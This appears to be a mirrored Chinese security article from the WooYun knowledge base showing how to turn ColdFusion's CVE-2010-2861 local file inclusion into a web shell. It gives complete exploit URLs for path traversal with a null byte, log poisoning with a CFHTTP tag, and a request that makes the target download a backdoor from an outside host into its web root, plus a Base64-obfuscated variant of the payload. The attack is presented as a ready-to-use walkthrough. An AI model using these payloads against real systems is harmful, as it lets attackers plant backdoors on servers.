COLDFUSION(CVE-2010-2861) 本地包含利用方法

wyzsk發表於2020-08-19
作者: mickey · 2014/04/19 13:55

最近看老外的一篇文章說,CVE-2010-2861這個利用方法,只有看到過透過讀取password.properties裡的password欄位,破解SHA-1值登陸後臺,或者透過傳遞雜湊登陸後臺的,還沒見過能直接得到SHELL的。其實我以前和小夥伴討論過利用application.log本地包含CFM的方法,當時的利用方法是這樣的:

首先看看application.log有沒有在預設的目錄:

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en

然後訪問一個不存在的頁面,注意編碼問題,否則不成功的。

http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml

這時候就會把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log裡了,看下圖:

2014041409324320691.jpg

最後我們訪問

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm

2014041409332372208.jpg

就會從10.18.180.20上把xl.txt的CF後門指令碼下載到目標機器的c:\ColdFusion8\wwwroot目錄了。

我們看看老外用的方法:思路都是一樣的,就是他的payload選擇的是

<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>

使用cfm的CFHTTP標籤執行一個HTTP請求來取得192.168.1.97:8000 WEB伺服器上的cmd.cfml檔案,ToString(ToBinary是為了做BASE64編碼,繞過一些字元的限制,比如/

下面說說此法的缺點:

1.不是通殺的方法,如果對方禁止對外的HTTP訪問,此法不行 
2.如果安裝的時候是整合到IIS模式的,CF程式目錄放到其他磁碟機代號的話,是沒法使用../跨目錄的 

 

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章